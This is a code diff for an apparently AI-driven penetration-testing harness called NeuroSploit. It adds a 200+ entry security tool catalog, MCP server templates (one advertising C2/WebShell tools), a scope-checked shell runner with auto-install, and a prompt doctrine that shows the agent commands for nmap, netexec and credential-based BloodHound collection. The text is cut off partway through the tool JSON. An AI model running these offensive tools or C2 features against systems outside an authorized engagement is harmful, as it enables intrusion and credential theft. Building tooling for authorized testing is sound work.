`{}` → exit {}{}\n", + run.name, run.tool, run.command, run.code, + if run.timed_out { " (timed out)" } else { "" } + )); + let out = if run.stdout.trim().is_empty() { &run.stderr } else { &run.stdout }; + let capped: String = out.chars().take(7000).collect(); + block.push_str(&capped); + block.push('\n'); + } + Err(e) => { + let _ = tx.send(format!("🧰 {tool} not run: {e}")).await; + block.push_str(&format!("\n### {tool} → NOT RUN: {e}\n")); + } + } + } + if ran == 0 { + return String::new(); + } + let _ = tx.send(format!("🧰 toolbox: {} real tool run(s) added to recon facts", ran)).await; + block +} + async fn enumerate_subdomains(cfg: &RunConfig, tx: &Sender) -> String { // Which apex(es) are authorized domain-wide? let apexes: Vec = cfg.scope.hard.iter().filter_map(|p| { diff --git a/neurosploit-rs/crates/harness/src/reactive_bridge.rs b/neurosploit-rs/crates/harness/src/reactive_bridge.rs index 27bc822..4dcf813 100644 --- a/neurosploit-rs/crates/harness/src/reactive_bridge.rs +++ b/neurosploit-rs/crates/harness/src/reactive_bridge.rs @@ -117,6 +117,12 @@ pub async fn run_reactive( "mobile-ios" => crate::mcp_profiles::Profile::MobileIos, "binary" => crate::mcp_profiles::Profile::BinaryAnalysis, "burp" => crate::mcp_profiles::Profile::BurpSuite, + "infra" | "host" => crate::mcp_profiles::Profile::Infra, + "ad" | "internal" => crate::mcp_profiles::Profile::Ad, + "cloud" => crate::mcp_profiles::Profile::Cloud, + "kali" => crate::mcp_profiles::Profile::Kali, + "nmap" => crate::mcp_profiles::Profile::Nmap, + "full" => crate::mcp_profiles::Profile::Full, other => crate::mcp_profiles::Profile::Custom(other.to_string()), }; let ctx = crate::mcp_profiles::prompt_context(&profile); diff --git a/neurosploit-rs/crates/harness/src/toolbox/catalog.rs b/neurosploit-rs/crates/harness/src/toolbox/catalog.rs new file mode 100644 index 0000000..e3dcf28 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/toolbox/catalog.rs @@ -0,0 +1,186 @@ +//! The curated toolbox catalog. +//! +//! The catalog is data (`tools/toolbox.json`) embedded at compile time so a +//! distributed binary always carries it, while operators can extend it without +//! touching Rust. Every entry is a *capability descriptor*, not an installed +//! tool: the runner detects, optionally provisions, and executes it under the +//! engagement's scope/constraints. + +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; +use std::sync::OnceLock; + +const CATALOG_JSON: &str = include_str!("../../../../tools/toolbox.json"); + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolSpec { + pub id: String, + pub name: String, + pub binary: String, + pub category: String, + pub description: String, + /// Template command. `{target}`, `{host}` and `{url}` are substituted. + pub usage: String, + #[serde(default)] + pub tags: Vec, + /// Actively probes the target (scanners/fuzzers/brute force). + #[serde(default)] + pub intrusive: bool, + /// Needs root/CAP_NET_RAW (SYN scans, sniffers, ARP, ...). + #[serde(default)] + pub requires_root: bool, + /// Installer → package. Supported: apt, pipx, go, cargo, npm, gem, docker. + #[serde(default)] + pub install: BTreeMap, + /// Optional MCP server hint (name in the MCP catalog). + #[serde(default)] + pub mcp: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolCatalog { + pub version: u32, + pub updated: String, + pub tools: Vec, +} + +static CATALOG: OnceLock = OnceLock::new(); + +pub fn catalog() -> &'static ToolCatalog { + CATALOG.get_or_init(|| { + serde_json::from_str(CATALOG_JSON).unwrap_or_else(|e| { + eprintln!("[toolbox] invalid embedded toolbox.json: {e}"); + ToolCatalog { version: 1, updated: String::new(), tools: Vec::new() } + }) + }) +} + +pub fn all() -> &'static [ToolSpec] { + &catalog().tools +} + +pub fn find(id: &str) -> Option<&'static ToolSpec> { + let needle = id.trim().to_ascii_lowercase(); + all().iter().find(|t| { + t.id.eq_ignore_ascii_case(&needle) + || t.binary.eq_ignore_ascii_case(&needle) + || t.name.eq_ignore_ascii_case(&needle) + }) +} + +pub fn search(query: &str) -> Vec<&'static ToolSpec> { + let q = query.trim().to_ascii_lowercase(); + if q.is_empty() { + return all().iter().collect(); + } + all() + .iter() + .filter(|t| { + t.id.to_ascii_lowercase().contains(&q) + || t.name.to_ascii_lowercase().contains(&q) + || t.binary.to_ascii_lowercase().contains(&q) + || t.category.to_ascii_lowercase().contains(&q) + || t.description.to_ascii_lowercase().contains(&q) + || t.tags.iter().any(|x| x.to_ascii_lowercase().contains(&q)) + }) + .collect() +} + +pub fn categories() -> Vec<(String, usize)> { + let mut out: BTreeMap = BTreeMap::new(); + for t in all() { + *out.entry(t.category.clone()).or_insert(0) += 1; + } + out.into_iter().collect() +} + +/// Recommended tool IDs for an engagement mode. Missing tools are fine — the +/// caller runs what is available (and optionally provisions). +pub fn mode_plan(mode: &str) -> Vec<&'static str> { + match mode.to_ascii_lowercase().as_str() { + "run" | "web" | "greybox" | "whitebox" => vec![ + "httpx", "whatweb", "wafw00f", "katana", "gau", "ffuf", "feroxbuster", + "nuclei", "nikto", "sqlmap", "dalfox", "jwt_tool", "arjun", "trufflehog", + ], + "host" | "infra" => vec![ + "rustscan", "nmap", "naabu", "httpx", "enum4linux_ng", "netexec", + "smbmap", "ldapsearch", "searchsploit", "responder", + ], + "internal" | "ad" => vec![ + "netexec", "enum4linux_ng", "bloodhound_python", "kerbrute", "certipy", + "impacket_getuserspns", "impacket_getnpusers", "impacket_secretsdump", + "ldapdomaindump", "smbclient", "rpcclient", "mitm6", "responder", + ], + "cloud" => vec![ + "trivy", "prowler", "scoutsuite", "checkov", "kube_bench", "kube_hunter", + "cloud_enum", "s3scanner", "cloudsplaining", + ], + "container" => vec!["trivy", "grype", "syft", "dockle", "hadolint", "crane", "skopeo"], + "mobile" => vec!["apktool", "jadx", "apkleaks", "frida", "objection", "mobsf"], + "binary" => vec![ + "ghidra_headless", "radare2", "rizin", "binwalk", "checksec", "gdb", + "objdump", "strings", "one_gadget", "ropper", + ], + "aitest" | "ai" => vec!["garak", "promptfoo", "pyrit", "llm_guard", "giskard"], + _ => vec!["httpx", "nmap", "nuclei", "ffuf", "trufflehog"], + } +} + +/// Compact, context-budget-friendly catalogue for prompt injection. The model +/// sees IDs, categories and one-line descriptions; it calls `tools info` or the +/// MCP `tool_info` for full usage. +pub fn prompt_summary(max_per_category: usize, max_chars: usize) -> String { + let mut out = String::new(); + for (cat, _) in categories() { + let mut n = 0; + out.push_str(&format!("[{cat}] ")); + for t in all().iter().filter(|t| t.category == cat) { + if n >= max_per_category { break; } + let item = format!("{} ({})", t.id, short(&t.description, 72)); + if out.len() + item.len() + 2 > max_chars { break; } + out.push_str(&item); + out.push_str("; "); + n += 1; + } + out.push('\n'); + if out.len() > max_chars { break; } + } + out +} + +fn short(s: &str, n: usize) -> String { + let flat = s.split_whitespace().collect::>().join(" "); + if flat.chars().count() <= n { flat } else { flat.chars().take(n.saturating_sub(1)).collect::() + "…" } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn catalog_is_large_and_unique() { + let tools = all(); + assert!(tools.len() >= 200, "expected 200+ tools, got {}", tools.len()); + let mut ids = std::collections::HashSet::new(); + for t in tools { + assert!(ids.insert(t.id.clone()), "duplicate tool id: {}", t.id); + assert!(!t.binary.trim().is_empty(), "{} has no binary", t.id); + assert!(!t.category.trim().is_empty(), "{} has no category", t.id); + assert!(!t.usage.trim().is_empty(), "{} has no usage", t.id); + } + assert!(find("nmap").is_some()); + assert!(find("rustscan").is_some()); + assert!(find("netexec").is_some()); + assert!(find("trivy").is_some()); + assert!(find("apktool").is_some()); + } + + #[test] + fn search_and_plans_work() { + assert!(search("port-scan").iter().any(|t| t.id == "nmap")); + assert!(search("kerberos").iter().any(|t| t.id == "kerbrute")); + assert!(mode_plan("ad").contains(&"netexec")); + assert!(mode_plan("web").contains(&"nuclei")); + assert!(!prompt_summary(3, 4000).is_empty()); + } +} diff --git a/neurosploit-rs/crates/harness/src/toolbox/mcp_catalog.rs b/neurosploit-rs/crates/harness/src/toolbox/mcp_catalog.rs new file mode 100644 index 0000000..2200b63 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/toolbox/mcp_catalog.rs @@ -0,0 +1,254 @@ +//! Curated MCP tool-server catalog. +//! +//! These are *templates* for common security MCP servers. They are merged into +//! the agent's `.mcp.json` only when the operator selects them (`--mcp` plus +//! `--mcp-server`, or `neurosploit tools mcp add`), so a normal run is +//! unchanged. Custom servers remain possible through `mcp.servers.json`. + +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct McpServerSpec { + pub name: String, + pub description: String, + /// `stdio` (default) or `http`. + #[serde(default = "stdio")] + pub transport: String, + #[serde(default)] + pub command: String, + #[serde(default)] + pub args: Vec, + #[serde(default)] + pub env: BTreeMap, + #[serde(default)] + pub url: String, + /// Installer → package, same keys as the toolbox catalog. + #[serde(default)] + pub install: BTreeMap, + #[serde(default)] + pub notes: String, +} + +fn stdio() -> String { + "stdio".into() +} + +impl McpServerSpec { + pub fn config(&self) -> Value { + if self.transport == "http" { + let mut v = json!({ "url": self.url, "transport": "http" }); + if !self.env.is_empty() { + v["headers"] = json!(self.env); + } + return v; + } + let mut v = json!({ "command": self.command, "args": self.args }); + if !self.env.is_empty() { + v["env"] = json!(self.env); + } + v + } +} + +pub fn all() -> Vec { + vec![ + McpServerSpec { + name: "nmap".into(), + description: "Nmap MCP server (gc-nmap-mcp): scan profiles, service detection, NSE.".into(), + transport: "stdio".into(), + command: "npx".into(), + args: vec!["-y".into(), "gc-nmap-mcp".into()], + env: BTreeMap::from([("NMAP_PATH".into(), nmap_path())]), + url: String::new(), + install: BTreeMap::from([("npm".into(), "gc-nmap-mcp".into())]), + notes: "Requires Node 18+ and nmap on PATH. Alternative: mcp-nmap-server (Windows).".into(), + }, + McpServerSpec { + name: "kali".into(), + description: "Kali Linux MCP server (kali-mcp): 80+ Kali tools over stdio/HTTP.".into(), + transport: "stdio".into(), + command: "kali-mcp".into(), + args: vec![], + env: BTreeMap::new(), + url: String::new(), + install: BTreeMap::from([("pipx".into(), "kali-mcp".into())]), + notes: "Install with `pipx install kali-mcp`, or use the official Docker image. The Python package does not install the underlying Kali binaries.".into(), + }, + McpServerSpec { + name: "playwright".into(), + description: "Playwright MCP: drive a real browser for JS-heavy targets.".into(), + transport: "stdio".into(), + command: "npx".into(), + args: vec![ + "-y".into(), + "@playwright/mcp@latest".into(), + "--headless".into(), + "--isolated".into(), + ], + env: BTreeMap::new(), + url: String::new(), + install: BTreeMap::from([("npm".into(), "@playwright/mcp".into())]), + notes: "Run `npx playwright install chromium` once.".into(), + }, + McpServerSpec { + name: "burp".into(), + description: "Burp Suite MCP / REST bridge for scanner and proxy history.".into(), + transport: "http".into(), + command: String::new(), + args: vec![], + env: BTreeMap::new(), + url: "http://127.0.0.1:1337/v0.1".into(), + install: BTreeMap::new(), + notes: "Enable the Burp MCP/REST extension and adjust the URL/key in mcp.servers.json.".into(), + }, + McpServerSpec { + name: "rea".into(), + description: "REA MCP: reverse engineering for mobile and native binaries.".into(), + transport: "stdio".into(), + command: "rea".into(), + args: vec!["--mode".into(), "binary".into()], + env: BTreeMap::new(), + url: String::new(), + install: BTreeMap::new(), + notes: "Use --mode android / ios / binary in mcp.servers.json.".into(), + }, + McpServerSpec { + name: "neurosploit".into(), + description: "NeuroSploit's own MCP tools (runs, findings, graphs, C2, toolbox).".into(), + transport: "stdio".into(), + command: std::env::current_exe() + .ok() + .and_then(|p| p.to_str().map(|s| s.to_string())) + .unwrap_or_else(|| "neurosploit".into()), + args: vec!["mcp".into()], + env: BTreeMap::new(), + url: String::new(), + install: BTreeMap::new(), + notes: "Exposes C2/WebShell and toolbox tools to any MCP client.".into(), + }, + ] +} + +fn nmap_path() -> String { + for p in ["/usr/bin/nmap", "/usr/local/bin/nmap", "/opt/homebrew/bin/nmap"] { + if Path::new(p).is_file() { + return p.to_string(); + } + } + "nmap".into() +} + +pub fn find(name: &str) -> Option { + all() + .into_iter() + .find(|s| s.name.eq_ignore_ascii_case(name.trim())) +} + +/// Names selected by `NEUROSPLOIT_MCP_SERVERS` (comma/space separated). +pub fn selected_from_env() -> Vec { + let raw = std::env::var("NEUROSPLOIT_MCP_SERVERS").unwrap_or_default(); + let mut out = Vec::new(); + for name in raw.split([',', ';', ' ']).map(|s| s.trim()).filter(|s| !s.is_empty()) { + if let Some(spec) = find(name) { + if !out.iter().any(|s: &McpServerSpec| s.name == spec.name) { + out.push(spec); + } + } + } + out +} + +/// Merge the selected catalog servers into an `mcpServers` object. +pub fn merge_selected(servers: &mut serde_json::Map) { + for spec in selected_from_env() { + servers.insert(spec.name.clone(), spec.config()); + } +} + +pub fn servers_path(base: &Path) -> PathBuf { + base.join("mcp.servers.json") +} + +/// Add/update a catalog server in `mcp.servers.json` (the file the harness +/// merges into `.mcp.json` for every run in this checkout). +pub fn add_to_file(base: &Path, name: &str) -> Result { + let spec = find(name).ok_or_else(|| format!("unknown MCP server '{name}' (try `neurosploit tools mcp list`)"))?; + let path = servers_path(base); + let mut root = if path.exists() { + serde_json::from_str::(&std::fs::read_to_string(&path).map_err(|e| e.to_string())?) + .unwrap_or_else(|_| json!({})) + } else { + json!({}) + }; + if !root.is_object() { + root = json!({}); + } + let dst = root.as_object_mut().unwrap(); + // Accept both flat and {"mcpServers": {...}} files. + let servers = if let Some(existing) = dst.get_mut("mcpServers").and_then(|v| v.as_object_mut()) { + existing + } else { + dst + }; + servers.insert(spec.name.clone(), spec.config()); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(|e| e.to_string())?; + } + std::fs::write(&path, serde_json::to_string_pretty(&root).unwrap_or_default()) + .map_err(|e| e.to_string())?; + Ok(path) +} + +pub fn remove_from_file(base: &Path, name: &str) -> Result { + let path = servers_path(base); + if !path.exists() { + return Ok(false); + } + let mut root = serde_json::from_str::(&std::fs::read_to_string(&path).map_err(|e| e.to_string())?) + .map_err(|e| e.to_string())?; + let removed = if let Some(servers) = root.get_mut("mcpServers").and_then(|v| v.as_object_mut()) { + servers.remove(name).is_some() + } else { + root.as_object_mut().map(|o| o.remove(name).is_some()).unwrap_or(false) + }; + if removed { + std::fs::write(&path, serde_json::to_string_pretty(&root).unwrap_or_default()) + .map_err(|e| e.to_string())?; + } + Ok(removed) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn catalog_has_nmap_and_kali() { + assert!(find("nmap").is_some()); + assert!(find("kali").is_some()); + let nmap = find("nmap").unwrap().config(); + assert_eq!(nmap["command"], "npx"); + assert!(nmap["args"].as_array().unwrap().iter().any(|v| v == "gc-nmap-mcp")); + } + + #[test] + fn add_and_remove_server_file() { + let dir = std::env::temp_dir().join(format!( + "ns_mcp_catalog_{}_{:x}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_nanos() + )); + std::fs::create_dir_all(&dir).unwrap(); + add_to_file(&dir, "nmap").unwrap(); + let text = std::fs::read_to_string(servers_path(&dir)).unwrap(); + assert!(text.contains("gc-nmap-mcp")); + assert!(remove_from_file(&dir, "nmap").unwrap()); + let _ = std::fs::remove_dir_all(&dir); + } +} diff --git a/neurosploit-rs/crates/harness/src/toolbox/mod.rs b/neurosploit-rs/crates/harness/src/toolbox/mod.rs new file mode 100644 index 0000000..179cb24 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/toolbox/mod.rs @@ -0,0 +1,58 @@ +//! Toolbox: run real security tools, not only curl/scripts. +//! +//! The toolbox is an add-on layer over the harness: +//! * a 200+ entry catalog (`tools/toolbox.json`, embedded) of web, network, +//! Active Directory, cloud, container, mobile, binary, forensics and AI +//! tooling; +//! * a scope/constraint-aware runner (host or Kali sandbox) with optional, +//! explicit provisioning; +//! * MCP server templates (nmap, Kali, Playwright, Burp, REA, NeuroSploit); +//! * CLI/MCP/web surfaces plus an opt-in agent tool loop. +//! +//! Nothing runs unless the operator or an explicitly enabled agent asks for it. +//! Existing recon/exploit behaviour is unchanged when the feature is not used. + +pub mod catalog; +pub mod mcp_catalog; +pub mod runner; + +pub use catalog::{all, categories, find, mode_plan, prompt_summary, search, ToolSpec}; +pub use mcp_catalog::{McpServerSpec, add_to_file, remove_from_file, servers_path}; +pub use runner::{check, install, run, ToolCheck, ToolRun, ToolRunConfig}; + +/// Prompt doctrine injected when `--tools` / agent tools are enabled. +pub fn doctrine() -> String { + format!( + "TOOLBOX (authorized; {} real tools are available through NeuroSploit, not only curl):\n\ + - Discover: `neurosploit tools search --json`; inspect: `neurosploit tools info --json`.\n\ + - Check: `neurosploit tools check --json` (installed/version; no scan).\n\ + - Run: `neurosploit tools run --target [--args ''] --json`.\n\ + - Provision (explicit): `neurosploit tools install --json`; or add `--provision` to run.\n\ + - Sandbox: add `--sandbox` (Kali container) when you do not want host tooling.\n\ + - MCP servers: `neurosploit tools mcp list`; add nmap/kali/playwright with `tools mcp add `.\n\ + - Key examples: `tools run rustscan --target 10.0.0.5`; `tools run nmap --target 10.0.0.5 --args '-sV -p 22,80,443'`;\n\ + `tools run httpx --target https://app`; `tools run nuclei --target https://app --args '-severity critical,high -silent'`;\n\ + `tools run ffuf --target https://app --args '-u https://app/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt'`;\n\ + `tools run netexec --target 10.0.0.10 --args 'smb 10.0.0.10 --shares'`;\n\ + `tools run bloodhound_python --target dc.corp.local --args '-d corp.local -u user -p pass -c All'`.\n\ + Rules: stay in scope; never run destructive/DoS tools; prefer targeted flags; provision only with explicit opt-in;\n\ + report the exact command, exit code and output/evidence in findings. On subscription/CLI agents you may also\n\ + call the same `neurosploit tools` verbs directly; when MCP is enabled use the `neurosploit_tool_*` tools.\n\n" + , + catalog::all().len() + ) +} + +/// A compact catalog block for the opt-in agent tool loop. Kept small so it does +/// not crowd the specialist playbooks. +pub fn agent_catalog(mode: &str) -> String { + let mut out = String::from("TOOLBOX CATALOG (id — description):\n"); + let plan = mode_plan(mode); + for id in &plan { + if let Some(t) = find(id) { + out.push_str(&format!("- {} [{}] {} — {}\n", t.id, t.category, t.name, t.description)); + } + } + out.push_str("\nOther categories are available via `neurosploit tools search `.\n"); + out +} diff --git a/neurosploit-rs/crates/harness/src/toolbox/runner.rs b/neurosploit-rs/crates/harness/src/toolbox/runner.rs new file mode 100644 index 0000000..5c3055f --- /dev/null +++ b/neurosploit-rs/crates/harness/src/toolbox/runner.rs @@ -0,0 +1,404 @@ +//! Execution layer for the toolbox. +//! +//! One place resolves a catalog ID into a command, checks scope and operator +//! constraints, detects/provisions the binary, runs it (host or Kali sandbox), +//! caps output, records an audit line, and returns structured JSON. The CLI, +//! the agent tool loop and the MCP tools all call this — never `sh -c` from a +//! prompt directly. + +use serde::{Deserialize, Serialize}; +use serde_json::json; +use std::io::Write; +use std::path::{Path, PathBuf}; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +use super::catalog::{find, ToolSpec}; +use crate::constraints::ConstraintSet; +use crate::sandbox::{Sandbox, SandboxConfig}; +use crate::scope::ScopePolicy; + +const OUTPUT_CAP: usize = 256 * 1024; +const DEFAULT_TIMEOUT: u64 = 300; +const INSTALL_TIMEOUT: u64 = 300; + +#[derive(Debug, Clone, Default)] +pub struct ToolRunConfig { + /// Kali/container image. `Some("")` uses the default image. + pub sandbox: Option, + /// Explicit opt-in: install the tool when missing. + pub provision: bool, + pub timeout_secs: Option, + /// Directory for `toolbox-audit.jsonl` and run artifacts. + pub audit_dir: Option, + /// Engagement scope. `None` means the operator invoked the tool directly. + pub scope: Option, + pub constraints: ConstraintSet, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolRun { + pub tool: String, + pub name: String, + pub category: String, + pub command: String, + pub target: String, + pub installed: bool, + pub provisioned: bool, + pub code: i32, + pub timed_out: bool, + pub duration_ms: u128, + pub stdout: String, + pub stderr: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolCheck { + pub tool: String, + pub name: String, + pub binary: String, + pub category: String, + pub installed: bool, + pub version: String, + pub install_hint: String, + pub intrusive: bool, + pub requires_root: bool, +} + +pub fn install_hint(spec: &ToolSpec) -> String { + if let Some((kind, pkg)) = spec.install.iter().next() { + format!("neurosploit tools install {} ({kind}: {pkg})", spec.id) + } else { + format!("install `{}` manually and put it on PATH", spec.binary) + } +} + +fn sandbox_for(cfg: &ToolRunConfig) -> Result, String> { + let Some(image) = cfg.sandbox.as_deref() else { return Ok(None) }; + let mut sc = SandboxConfig::default(); + if !image.trim().is_empty() { + sc = sc.with_image(image); + } + Sandbox::new(sc).map(Some) +} + +async fn host_has(binary: &str) -> bool { + tokio::process::Command::new("which") + .arg(binary) + .output() + .await + .map(|o| o.status.success()) + .unwrap_or(false) +} + +fn installer_command(kind: &str, pkg: &str) -> Option { + match kind { + "apt" => Some(format!( + "DEBIAN_FRONTEND=noninteractive apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq {pkg}" + )), + "pipx" => Some(format!("pipx install --force {pkg}")), + "go" => Some(format!("GOBIN=/usr/local/bin go install {pkg}@latest")), + "cargo" => Some(format!("cargo install --locked {pkg}")), + "npm" => Some(format!("npm install -g {pkg}")), + "gem" => Some(format!("gem install --no-document {pkg}")), + "docker" => Some(format!("docker pull {pkg}")), + _ => None, + } +} + +async fn run_shell(command: &str, timeout_secs: u64, sandbox: Option<&Sandbox>) -> Result<(i32, String, String, bool), String> { + if let Some(sb) = sandbox { + let out = sb.exec(command).await?; + return Ok((out.code, out.stdout, out.stderr, out.timed_out)); + } + let fut = tokio::process::Command::new("sh") + .arg("-c") + .arg(command) + .kill_on_drop(true) + .output(); + match tokio::time::timeout(Duration::from_secs(timeout_secs), fut).await { + Ok(Ok(out)) => Ok(( + out.status.code().unwrap_or(-1), + String::from_utf8_lossy(&out.stdout).to_string(), + String::from_utf8_lossy(&out.stderr).to_string(), + false, + )), + Ok(Err(e)) => Err(format!("spawn failed: {e}")), + Err(_) => Ok((124, String::new(), format!("timed out after {timeout_secs}s"), true)), + } +} + +fn clip(mut s: String) -> String { + if s.len() > OUTPUT_CAP { + s.truncate(OUTPUT_CAP); + s.push_str("\n[truncated by NeuroSploit toolbox]"); + } + s +} + +fn substitute(template: &str, target: &str) -> Result { + let host = if target.trim().is_empty() { + String::new() + } else { + crate::scope::host_of(target) + }; + let needs_target = template.contains("{target}") || template.contains("{host}") || template.contains("{url}"); + if needs_target && target.trim().is_empty() { + return Err("this tool needs a target (use --target or pass concrete args)".into()); + } + let out = template + .replace("{target}", target) + .replace("{host}", &host) + .replace("{url}", target); + if out.contains('{') { + return Err(format!( + "unresolved placeholder in command: {out}\nPass explicit `--args` for templates that need credentials/domains." + )); + } + Ok(out) +} + +fn scope_allows(scope: Option<&ScopePolicy>, target: &str) -> Result<(), String> { + let Some(scope) = scope else { return Ok(()) }; + if scope.hard.is_empty() || target.trim().is_empty() { + return Ok(()); + } + let probe = if target.contains("://") { + target.to_string() + } else { + format!("https://{}", target.trim()) + }; + if !scope.in_hard_scope(&probe) { + return Err(format!("target '{target}' is outside the engagement's hard scope")); + } + Ok(()) +} + +fn audit(cfg: &ToolRunConfig, run: &ToolRun) { + let dir = cfg + .audit_dir + .clone() + .or_else(|| std::env::var_os("NEUROSPLOIT_TOOLBOX_DIR").map(PathBuf::from)) + .unwrap_or_else(|| { + std::env::current_dir() + .unwrap_or_else(|_| PathBuf::from(".")) + .join(".neurosploit") + .join("toolbox") + }); + let _ = std::fs::create_dir_all(&dir); + let ts = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_millis() as i64) + .unwrap_or(0); + let rec = json!({ + "ts": ts, + "tool": run.tool, + "command": run.command, + "target": run.target, + "code": run.code, + "timed_out": run.timed_out, + "duration_ms": run.duration_ms, + "stdout_len": run.stdout.len(), + "stderr_len": run.stderr.len(), + }); + let path = dir.join("toolbox-audit.jsonl"); + if let Ok(mut f) = std::fs::OpenOptions::new().create(true).append(true).open(Path::new(&path)) { + let _ = writeln!(f, "{rec}"); + } +} + +/// Detect a tool and (when allowed) provision it. Returns whether it is now +/// available. +pub async fn ensure_installed( + spec: &ToolSpec, + cfg: &ToolRunConfig, + sandbox: Option<&Sandbox>, +) -> Result<(bool, bool), String> { + let installed = if let Some(sb) = sandbox { + sb.exec(&format!("command -v {}", shell_quote(&spec.binary))) + .await? + .code + == 0 + } else { + host_has(&spec.binary).await + }; + if installed { + return Ok((true, false)); + } + if !cfg.provision { + return Ok((false, false)); + } + let mut last_err = String::new(); + for (kind, pkg) in &spec.install { + let Some(cmd) = installer_command(kind, pkg) else { continue }; + let (code, out, err, timed) = run_shell(&cmd, INSTALL_TIMEOUT, sandbox).await?; + if code == 0 && !timed { + let now = if let Some(sb) = sandbox { + sb.exec(&format!("command -v {}", shell_quote(&spec.binary))) + .await? + .code + == 0 + } else { + host_has(&spec.binary).await + }; + if now { + return Ok((true, true)); + } + last_err = format!("{kind} install succeeded but `{}` is still not on PATH", spec.binary); + } else { + last_err = format!( + "{kind} install failed (code {code}): {}", + err.lines().last().unwrap_or(&out).trim() + ); + } + } + if last_err.is_empty() { + last_err = install_hint(spec); + } + Err(format!("could not provision '{}': {last_err}", spec.id)) +} + +fn shell_quote(s: &str) -> String { + format!("'{}'", s.replace('\'', "'\\''")) +} + +/// Check availability + version without running a scan. +pub async fn check(spec: &ToolSpec, cfg: &ToolRunConfig) -> Result { + let sb = sandbox_for(cfg)?; + if let Some(s) = &sb { + s.ensure().await?; + } + let installed = if let Some(s) = &sb { + s.exec(&format!("command -v {}", shell_quote(&spec.binary))) + .await? + .code + == 0 + } else { + host_has(&spec.binary).await + }; + let mut version = String::new(); + if installed { + let cmd = format!("{} --version 2>&1 | head -n 1", shell_quote(&spec.binary)); + if let Ok((_, out, _, _)) = run_shell(&cmd, 8, sb.as_ref()).await { + version = out.trim().chars().take(160).collect(); + } + } + Ok(ToolCheck { + tool: spec.id.clone(), + name: spec.name.clone(), + binary: spec.binary.clone(), + category: spec.category.clone(), + installed, + version, + install_hint: install_hint(spec), + intrusive: spec.intrusive, + requires_root: spec.requires_root, + }) +} + +/// Install a tool explicitly (operator asked for it). +pub async fn install(spec: &ToolSpec, cfg: &ToolRunConfig) -> Result<(bool, String), String> { + let sb = sandbox_for(cfg)?; + if let Some(s) = &sb { + s.ensure().await?; + } + let mut cfg = cfg.clone(); + cfg.provision = true; + match ensure_installed(spec, &cfg, sb.as_ref()).await { + Ok((true, _)) => { + let chk = check(spec, &cfg).await?; + Ok((true, chk.version)) + } + Ok((false, _)) => Err(install_hint(spec)), + Err(e) => Err(e), + } +} + +/// Run a catalog tool. +pub async fn run( + tool_id: &str, + args: Option<&str>, + target: &str, + cfg: &ToolRunConfig, +) -> Result { + let spec = find(tool_id).ok_or_else(|| format!("unknown tool '{tool_id}' (try `neurosploit tools search {tool_id}`)"))?; + scope_allows(cfg.scope.as_ref(), target)?; + + let cmd = match args.map(|a| a.trim()).filter(|a| !a.is_empty()) { + Some(a) => { + let a = substitute(a, target)?; + let mut cmd = format!("{} {}", spec.binary, a); + // Convenience: a bare flag list (e.g. "-Pn -p 443") plus --target + // appends the target. A full command (contains "://" or the target) + // is left untouched. + if !target.trim().is_empty() && !a.contains("://") && !a.contains(target) { + cmd.push(' '); + cmd.push_str(target); + } + cmd + } + None => substitute(&spec.usage, target)?, + }; + if let Some(c) = cfg.constraints.check_command(&cmd) { + return Err(format!("operator constraint blocked this command: {}", c.text)); + } + + let sb = sandbox_for(cfg)?; + if let Some(s) = &sb { + s.ensure().await?; + } + let (installed, provisioned) = ensure_installed(spec, cfg, sb.as_ref()).await?; + if !installed { + return Err(format!( + "tool '{}' is not installed — {} (or pass --provision)", + spec.id, + install_hint(spec) + )); + } + + let started = Instant::now(); + let timeout = cfg.timeout_secs.unwrap_or(DEFAULT_TIMEOUT).max(1); + let (code, stdout, stderr, timed_out) = run_shell(&cmd, timeout, sb.as_ref()).await?; + let run = ToolRun { + tool: spec.id.clone(), + name: spec.name.clone(), + category: spec.category.clone(), + command: cmd, + target: target.to_string(), + installed, + provisioned, + code, + timed_out, + duration_ms: started.elapsed().as_millis(), + stdout: clip(stdout), + stderr: clip(stderr), + }; + audit(cfg, &run); + Ok(run) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn substitution_handles_targets() { + assert_eq!(substitute("nmap {target}", "https://example.com").unwrap(), "nmap https://example.com"); + assert_eq!(substitute("nmap {host}", "https://example.com:8443/x").unwrap(), "nmap example.com"); + assert!(substitute("nmap {target}", "").is_err()); + assert!(substitute("hydra {user}", "10.0.0.5").is_err()); + } + + #[test] + fn install_hints_and_commands() { + let nmap = find("nmap").unwrap(); + assert!(install_hint(nmap).contains("nmap")); + assert!(installer_command("apt", "nmap").unwrap().contains("apt-get")); + assert!(installer_command("go", "github.com/x/y").unwrap().contains("go install")); + } + + #[tokio::test] + async fn unknown_tool_is_an_error() { + let cfg = ToolRunConfig::default(); + assert!(run("__nope__", None, "", &cfg).await.is_err()); + } +} diff --git a/neurosploit-rs/tools/toolbox.json b/neurosploit-rs/tools/toolbox.json new file mode 100644 index 0000000..df343fc --- /dev/null +++ b/neurosploit-rs/tools/toolbox.json @@ -0,0 +1,3859 @@ +{ + "version": 1, + "updated": "2026-11-18", + "tools": [ + { + "id": "adidnsdump", + "name": "adidnsdump", + "binary": "adidnsdump", + "category": "ad", + "description": "Dump AD-integrated DNS records.", + "usage": "adidnsdump -u {domain}\\{user} -p {password} {host}", + "tags": [ + "ad", + "dns" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "adidnsdump" + }, + "mcp": null + }, + { + "id": "bloodhound_python", + "name": "BloodHound Python", + "binary": "bloodhound-python", + "category": 